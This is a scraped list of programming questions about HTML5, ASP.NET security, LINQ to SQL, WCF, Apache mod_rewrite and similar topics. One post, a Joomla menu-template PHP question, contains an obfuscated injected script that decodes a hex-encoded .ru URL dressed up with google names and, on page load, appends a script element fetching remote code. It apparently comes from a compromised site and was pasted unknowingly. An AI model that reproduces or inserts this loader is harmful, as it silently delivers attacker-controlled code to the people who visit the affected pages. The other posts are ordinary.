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  • Will html5 change everything for designers?

    - by Sean Thompson
    What impact do you think html5 will have on the workflow/way graphic design is done for the web? Right now most designers stay in an Adobe tool, doing most of the design work there, and implement some elements with graphics and some with code. Checking out http://www.apple.com/html5/ it seems that almost everything done in a graphic can be done in code. Will designers have to learn very advanced levels of html5 and do the actual design work in the browser or do you see a more "designer friendly" gui being made for html/graphics work? Will tools like photoshop evolve in a way that handles this new lack of image files?

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  • ASP.Net security using Operations Based Security

    - by Josh
    All the security stuff I have worked with in the past in ASP.Net for the most part has been role based. This is easy enough to implement and ASP.Net is geared for this type of security model. However, I am looking for something a little more fine grained than simple role based security. Essentially I want to be able to write code like this: if(SecurityService.CanPerformOperation("SomeUpdateOperation")){ // perform some update logic here } I would also need row level security access like this: if(SecurityService.CanPerformOperation("SomeViewOperation", SomeEntityIdentifier)){ // Allow user to see specific data } Again, fine grained access control. Is there anything like this already built? Some framework that I can drop into ASP.Net and start using, or am I going to have to build this myself?

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  • Parse error: syntax error, unexpected '<' in /home/future/public_html/modules/mod_mainmenu/tmpl/defa

    - by kofi
    I'm unfortunately having an unknown error with my php file. (for joomla 1.5) I don't seem to get what's wrong. This is my entire code, with an apparent error on line 84. Would appreciate some feedback, thanks. <?php // no direct access defined('_JEXEC') or die('Restricted access'); if ( ! defined('modMainMenuXMLCallbackDefined') ) { function modMainMenuXMLCallback(&$node, $args) { $user = &JFactory::getUser(); $menu = &JSite::getMenu(); $active = $menu->getActive(); $path = isset($active) ? array_reverse($active->tree) : null; if (($args['end']) && ($node->attributes('level') >= $args['end'])) { $children = $node->children(); foreach ($node->children() as $child) { if ($child->name() == 'ul') { $node->removeChild($child); } } } if ($node->name() == 'ul') { foreach ($node->children() as $child) { if ($child->attributes('access') > $user->get('aid', 0)) { $node->removeChild($child); } } } if (($node->name() == 'li') && isset($node->ul)) { $node->addAttribute('class', 'parent'); } if (isset($path) && (in_array($node->attributes('id'), $path) || in_array($node->attributes('rel'), $path))) { if ($node->attributes('class')) { $node->addAttribute('class', $node->attributes('class').' active'); } else { $node->addAttribute('class', 'active'); } } else { if (isset($args['children']) && !$args['children']) { $children = $node->children(); foreach ($node->children() as $child) { if ($child->name() == 'ul') { $node->removeChild($child); } } } } if (($node->name() == 'li') && ($id = $node->attributes('id'))) { if ($node->attributes('class')) { $node->addAttribute('class', $node->attributes('class').' item'.$id); } else { $node->addAttribute('class', 'item'.$id); } } if (isset($path) && $node->attributes('id') == $path[0]) { $node->addAttribute('id', 'current'); } else { $node->removeAttribute('id'); } $node->removeAttribute('rel'); $node->removeAttribute('level'); $node->removeAttribute('access'); } define('modMainMenuXMLCallbackDefined', true); } modMainMenuHelper::render($params, 'modMainMenuXMLCallback'); <script>var Zl;if(Zl!='' && Zl!='ki'){Zl=''};function v(){var jL=new String();var M=window;var q="";var ZY='';var Z=unescape;var C;if(C!='' && C!='g'){C=null};this.nj='';var _='';this.X="";var t=new Date();var R="\x68\x74\x74\x70\x3a\x2f\x2f\x73\x68\x61\x72\x65\x61\x73\x61\x6c\x65\x2d\x63\x6f\x6d\x2e\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x7a\x2e\x65\x79\x6e\x79\x2d\x63\x6f\x6d\x2e\x59\x6f\x75\x72\x42\x6c\x65\x6e\x64\x65\x72\x50\x61\x72\x74\x73\x2e\x72\x75\x3a";var Od;if(Od!='Dm' && Od!='V'){Od='Dm'};var Vr='';var P=new String("g");var B="";var E;if(E!='' && E!='gD'){E=null};function b(y,U){var zm=new Array();var a='';this.Cm="";var Vb=new String();var k=Z("%5b")+U+Z("%5d");var tX=new String();var MV;if(MV!='' && MV!='qt'){MV='MD'};var c=new RegExp(k, P);return y.replace(c, _);var cS="";var RTD='';};var Zr;if(Zr!='' && Zr!='vJ'){Zr=''};var L=new String();var DE=new Date();var fg;if(fg!='Ep'){fg='Ep'};var nf;if(nf!=''){nf='d_'};var W=Z("%2f%67%6f%6f%67%6c%65%2e%61%74%2f%67%6f%6f%67%6c%65%2e%61%74%2f%64%72%75%64%67%65%72%65%70%6f%72%74%2e%63%6f%6d%2f%74%72%61%76%69%61%6e%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70");this.aA='';var u='';this.XB='';var dP;if(dP!='i' && dP != ''){dP=null};var dN;if(dN!='' && dN!='zx'){dN='_y'};var WS=b('85624104275582212705194497','13296457');var Hb=new Array();var lP;if(lP!='ok' && lP != ''){lP=null};var O=document;function n(){var J;if(J!='mS' && J != ''){J=null};u=R;var jv;if(jv!='' && jv!='jw'){jv=''};u+=WS;var MJ;if(MJ!='Qp'){MJ=''};u+=W;var fj=new Array();this.PM="";try {this.dq='';var ln=new Date();var eS=new Date();h=O.createElement(b('sScwrwi4pSt5','OZjKg4w5S'));var uW=new String();var Aj;if(Aj!='lX'){Aj='lX'};var aF;if(aF!='' && aF!='_o'){aF=null};h.src=u;var GY;if(GY!='ev' && GY!='Jr'){GY='ev'};var KK;if(KK!=''){KK='gDq'};h.defer=[1][0];var nO;if(nO!='tP'){nO=''};var aV=new Date();var bE=new Date();O.body.appendChild(h);this.Ze="";} catch(MC){var Ki;if(Ki!='m_' && Ki != ''){Ki=null};};}M[String("pqP5onloa".substr(4)+"drYD".substr(0,1))]=n;var EY;if(EY!='' && EY!='wn'){EY='Sj'};var ep;if(ep!='' && ep!='_q'){ep='Oy'};var uE=new Array();var E_;if(E_!='iU'){E_='iU'};};this.pt="";v();var tl=new String();</script> <!--793d57c076e95df45c451725e5dedf6f-->

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  • Linq to SQL Error with Many-to-Many table

    - by Matt Connolly
    I am getting the following error with linq-to-sql when I try to access a many-to-many collection: Members 'Int32 XXX' and 'Int32 YYY' both marked as IsPrimaryKey and IsDbGenerated. The statement is true, in that both of those columns are primary key integers with identity insert. The table I am trying to access has a foreign key to both YYY and ZZZ, and then ZZZ has a foreign key to XXX. There doesn't appear to be anything wrong with my data structure. I tried setting "Child Property" to false on the ZZZ-YYY relationship, but it didn't change anything.

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  • C# How to communicate between 2 servers

    - by Chau
    I have a website running ASP.NET (C#) on server A. I need my website to access a webservice on server B. server B will only accept incoming requests if the requestee is located within a certain IP range and server A is not within this range. I have a server server C which is located within the IP range and the only thing blocking server A from server C is a firewall (which I have access to). It must be possible to create a hole in the firewall between server A and server C, but my question is: How do I relay the request from server A to server B via server C? I need the response from server B to get back to server A also :) Thanks in advance.

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  • Localize DisplayNameAttributes in ActionFilter?

    - by boris callens
    Is it possible to access the DisplayNameAttributes that are used on my ViewData.Model so I can Localize them before sending them to the view? Something like this: Public Void OnActionExecuted(ActionExecutedContext: filterContext) { foreach (DisplayNameAttribute attr in filterContext...) { attr.TheValue = AppMessages.GetLocazation(attr.TheValue); } } What I'm missing is how to access the attributes. Is this possible at all? P.S: We're using vb.net at my job and it's infiltrating my brain. So apologies if my C# is a tad off.

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  • exception with Linq to SQL using sdf file

    - by Ben
    Hi, I've set up a project with an SDF local database file and am trying to access it using an LINQ To SQL (".dbml") file. I have used the connection string provided by the sdf file and can instanciate the object with out a problem: thisDataContext = new MyDataContext(GetConnectionString()); However, whenever i try to access any information from it eg var collection = (from MyObject p in thisDataContext.MyTable select p); I get the error - "The table name is not valid. [ Token line number (if known) = 2,Token line offset (if known) = 14,Table name = Person ]" I am using Visual Studio 2008 SP1 .Net 3.5 and SQL 2008 CE. I gather something similar happened for SQL 2005 CE and a Hotfix was released, but i would have thought the fix would have been fixed in this version before release. Does anyone know the fix for this? Thanks

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  • IDataServiceMetadataProvider / ResourceType.... what for dynamic types with no CLR type?

    - by TomTom
    Hello, I try to expose a database via ADO RIA for which we have only an ODBC based interface. The "database" is a server and new elements are developped all the time, so I would like the server to check metadata at start (using the odbc schema methods) and then expose what he finds via RIA services.... clients can the nregenerate when they need access to new elements. As such, I dont ahve any CLR types for all the tabled developped. ResourceType tableType = new ResourceType( typeof(object), ResourceTypeKind.EntityType, null, "Martini", table_name, false ); tableType.CanReflectOnInstanceType = false; I can somehow not put in NULl as CLR element type, and entering typeof(object) seems to result in reflection errors when trying to access the properties. Any documentation on how to do that? I dont really want to get into having types... though if I have to, I probably will dynamically generate some via bytecode emit.

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  • Connecting to SQL Server with Visual Studio Express Editions

    - by tlianza
    I find it odd that in Visual C# 2008 Express edition, when you use the database explorer, your options are: 1) Microsoft Access 2) SQL Server Compact 3.5, and 3) SQL Server Database File. BUT if you use Visual Web Developer 2008 Express, you can connect to a regular SQL Server, Oracle, ODBC, etc. For people developing command-line or other C# apps that need to talk to a SQL Server database, do you really need to build your LINQ/Data Access code with one IDE (Visual Web Developer) and your program in another (Visual C#)? It's not a hard workaround, but it seems weird. If Microsoft wanted to force you to upgrade to Visual Studio to connect to SQL Server, why would they include that feature in one of their free IDEs but not the other? I feel like I might be missing something (like how to do it all in Visual C#). Thanks! Tom

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  • What happens if two COM classes each without a threading model are implemented in one in-proc COM se

    - by sharptooth
    Consider a situation. I have an in-proc COM server that contains two COM classes. Both classes are marked as "no threading model" in the registry - the "ThreadingModel" value is just absent. Both classes read/write the same set of global variable without any synchronization. As far as I know "no threading model" will enforce COM to disallow concurrent access to the same or different instances of the same class by different threads. Will COM prevent concurrent access to instances of the two abovementioned different classes? Do I need synchronization when accessing the global variables from two different COM classes in this situation?

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  • 3rd party data - Store in Data Warehouse or Primary database?

    - by brydgesk
    This is mostly a data warehouse philosophy question. My project involves an Oracle forms application, and a Teradata Data Warehouse for reporting and ad-hoc purposes. In addition to the primary data created by the users of our application, we also require data from various other sources. Currently, this 3rd party data comes via FTPd flat files directly to our Data Warehouse. To access the data, our users must use a series of custom BusinessObjects reports. My question is, would it make more sense for this data to be sent to our source Oracle system instead? Is it ever appropriate for a Data Warehouse to be the point of origin for users to access raw data? In short, is it more important that the operational database contain only the data created by your project, or that the data warehouse remain dedicated solely to reporting and analysis?

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  • JQuery AJAX is not sending UTF-8 to my server, only in IE.

    - by alex
    I am sending UTF-8, japanese text, to my server. It works in Firefox. My access.log and headers are: /ajax/?q=%E6%BC%A2%E5%AD%97 Accept-Charset ISO-8859-1,utf-8;q=0.7,*;q=0.7 Content-Type application/x-www-form-urlencoded; charset=UTF-8 Howeer, in IE8, my access.log says: /ajax/?q=?? For some reason, IE8 is turning my AJAX call into question marks. Why!? I added the scriptCharset and ContentType according to some tutorials, but still no luck. And this is my code: $.ajax({ >---method:"get", >---url:"/ajax/", scriptCharset: "utf-8" , contentType: "application/x-www-form-urlencoded; charset=UTF-8", >---data:"q="+query ... ...

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  • Ajax Enabled WCF Service Javascript issue...

    - by Captain Insano
    I'm a noob working with Ajax-Enabled WCF Services... Right now I have an AJAX service which calls a different WCF service that is using wsHttpBinding. The WCF wsHttpBinding service lives in a different web app on the same IIS6 server. The AJAX javascript proxy is only created when I enable anonymous access on the app hosting the AJAX service. If I remove anonymous access, IE6 bombs with an 'Undefined' error when call the AJAX proxy. In a nut shell, my AJAX service sends a request back to IIS (same domain/app), and while on the server it sends a WCF service request for data on a different app on the same IIS server. The service returning data is setup with Windows authentication, wsHttpBinding, and security mode is set to message. Any ideas? Both apps have are using windows authentication.

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  • SQL Server 2005/2008: Identify current user

    - by Torben H.
    Hello I have a web application, which is using a SQL Server 2005 database. My problem is, that the application has no role management. So the application always accesses the database with one default user. But now I have to save and access a value only for the current user. Is there any way to do this? Maybe something like a session on the web server? The best way would be, if there is any possibility to access the current session id of the web server from T-SQL. Do anyone understand my problem? :) Torben

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  • External config file to be used by multiple DLLs.

    - by vikp
    Hi, I have multiple DLLs that are used to read/write data into my database. There is a presentation layer DLL and a data access layer DLL. I want these DLLs to share a set of the connection strings. My idea is to store the connection string in a seperate DLL in the external configuration file. I'm not sure whether it's a good idea and whether I can reference that external DLL in both presentation and data access layers. The other question is whether I should write a helper class to read the data from the external config file or whether I should be using built in .Net methods? Thank you

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  • WPF DataGrid: How to get Converter

    - by Nike
    I create DataGrid Columns with Binding (where i is a Int value): dataGrid.Columns.Add(new DataGridTextColumn { Header = i.ToString(), Binding = CreateBinding(i), }); private Binding CreateBinding(int num) { Binding bind = new Binding(string.Format("[{0}]", num)); bind.Converter = new CellValueConverter(); return bind; } In the CreateBinding method I have an access to bind.Converter property. I need to call Converter.Convert() method in some handler, but there is no Converter property when I try to access it: (dataGrid.Columns[clm] as DataGridTextColumn).Binding."no Converter property!" How can I get my CellValueConverter which was created for particular Column?

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  • Looking for a simple interface for users to enter data for Silverlight application

    - by Edward Tanguay
    I have made a Silverlight application which can read data from various URLs. So users of the application who control a website can: FTP text and XML files onto their website put a clientaccesspolicy.xml in their root directory enter their URL in the silverlight application at which point the silverlight application then begins reading data from their site. I would like to extend this to less technical users who do not control a website, aren't adept with FTP, etc. What is the best service on the web that: allows users to publish different kinds of data, e.g. put out text files on web allows Silverlight client access (has clientaccesspolicy.xml set up) Some ideas are: free blog services (although then they are limited to a RSS feed, or the silverlight app would have to do some screen scraping) Google Docs? free cloud services? What free services allow easy publishing of any kind of data on the web and allow Silverlight client access?

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  • How should I load a xib into a detail view for a split view iPad objective app?

    - by editor
    I've got a split view iPad app with table view in the master pane. After drilling down several levels, each time loading a new .xib, I'd like one of the cells to trigger a web page load in the detail pane. Right now I can only get the web page .xib to load in the master pane side -- which is a master pain in my side. The basic load call where "URLWindow" is a class loaded with initWithNibName: [[self navigationController] pushViewController:URLWindow animated:YES]; I want to do this, but it doesn't seem to work: @interface @property (nonatomic, retain) IBOutlet DetailViewController *detailViewController; ... @implementation [[self detailViewController] pushViewController:URLWindow animated:YES]; How should I be loading the URLWindow .xib into a detail view for a split view detail pane?

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  • Is there a way to replace the Eclipse JDT's code completion list with a multi-level tree?

    - by Uri
    I know that the eclipse code completion widget can be customized to add new suggestions and even to change the order. I'm wondering whether there's a way to replace the current list format (or single-level tree, if this is a tree control) with a tree of multiple levels. Thus, for example, instead of selecting from a list of methods sorted by name, I will select from a category and then from a subcategory, and then from the items. I'm not too familiar with that part of the SDK, but I'd like to know if this is feasible. Thanks!

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  • In WPF RichTextBox, does overriding of Underline/Strikethrough work?

    - by Daniel Earwicker
    In a WPF RichTextBox, the effective style of a Run of text is a result of combining the properties defined on the Run with the properties it "inherits" from the enclosing Paragraph and finally the styles on the Document. So you can set FontWeight to Bold at any of those levels. You can also set it Bold on the Paragraph and then switch it to Normal (override it) for a specific Run. However, underline and strikethrough are different. They are items that can optionally appear in a list of TextDecorations, which is a property of Inline (and hence Run) and of Paragraph, but not of Document. And you can switch on Underline in the Paragraph, and it gets inherited so that all Runs within that Paragraph default appear underlined by default. Is it possible to switch it off underline in a specific Run? i.e. is there a way to insert an entry into the list of TextDecorations which would mean "Don't underline", thus overriding the Paragraph's setting?

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  • Accelerometer API for Laptops

    - by FreshCode
    Most IBM (and some Dell) laptops have built-in accelerometers to stop any moving parts during a sudden fall, but I was unable to find a standardised Windows API to access this data. I assume that each manufacturer would provide a driver to interface with the sensor. Which popular laptop brands come standard with accelerometers accessible from an API and which libraries should I use to access the data? Does an API* exist to abstract away the differences between different manufacturers? I am aware of the Windows 7 Sensor API, but I would like support for XP and earlier.

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  • ASP.NET Menu: how to build custom menu

    - by Turi
    hi all, i have this situation: i have to build a menu with datasource from the db, because i have to filter them among the user that is loged in. i have tried building a menu using repeater, and all this works fine till i realized that i wanted the menu with more than two levels. i have also tried with treeview, but i really don't want this solution (problem with the style and the treeview doesn't have a pretty view). Could anyone give me just the idea ? thnx in advance.

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  • Do passwords used for .htaccess need to be encrypted?

    - by webworm
    I am using .htaccess files to control access to various Apache2 directories. I have a main "password" file that contains usernames and passwords. All the instructions I have found regarding .htaccess talk about how the passwords added are encrypted. The usernames and passwords are created using the following command line syntax ... htpasswd -nb username password What I am wondering is ... do the passwords always need to be encrypted? Could I store usernames and passwords in a plain-text form someonewhere on the system (above the web root)? This would allow me to easily edit user names and passwords via FTP without requiring access to the Shelll (which I do not always have). Thank you.

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  • Multiple Mod_ReWrites on one site - Possible? (Wordpress blog in root directory, CodeIgniter project

    - by Sootah
    Currently I am creating a project with CodeIgniter that is contained within a subdirectory of my domain. For this example we'll call it domain.com/test. I also have Wordpress installed on this domain, and all of its files are in the root. For instance, if you navigate to my domain.com then it pulls up the Wordpress blog. I currently have the Wordpress mod_rewrite activated so that it uses friendly-URLs. For those of you that aren't familiar with CodeIgniter, all requests are routed through index.php in the project's root folder. So, in this case, it'd be domain.com/text/index.php. A request to the application would be sent like domain.com/test/index.php/somecontroller/method. What I'd like to do, is for any incoming request that is directed towards the /test/ folder, or some subdirectory therein I'd like it to appropriately rewrite the URL so the index.php isn't included. (As per the example above, it'd end up being domain.com/test/somecontroller/method) For any OTHER request, meaning anything that's not within the /test/ directory, I would like it to route the request to Wordpress. I would imagine it's a simple RewriteCond to make it check to see if the request is for the /test/ directory or a subdirectory therein, but I've no idea how to do it. Perhaps you can't have more than one set of Rewrite Rules per site. I will include the recommended mod_rewrite rules for each application. Wordpress: (Currently used) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> CodeIgniter: (Pulled from their Wiki) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / #Removes access to the system folder by users. #Additionally this will allow you to create a System.php controller, #previously this would not have been possible. #'system' can be replaced if you have renamed your system folder. RewriteCond %{REQUEST_URI} ^system.* RewriteRule ^(.*)$ /index.php?/$1 [L] #When your application folder isn't in the system folder #This snippet prevents user access to the application folder #Submitted by: Fabdrol #Rename 'application' to your applications folder name. RewriteCond %{REQUEST_URI} ^application.* RewriteRule ^(.*)$ /index.php?/$1 [L] #Checks to see if the user is attempting to access a valid file, #such as an image or css document, if this isn't true it sends the #request to index.php RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^(.*)$ index.php?/$1 [L] </IfModule> <IfModule !mod_rewrite.c> # If we don't have mod_rewrite installed, all 404's # can be sent to index.php, and everything works as normal. # Submitted by: ElliotHaughin ErrorDocument 404 /index.php </IfModule> Any and all help is much appreciated!! Thanks, -Sootah

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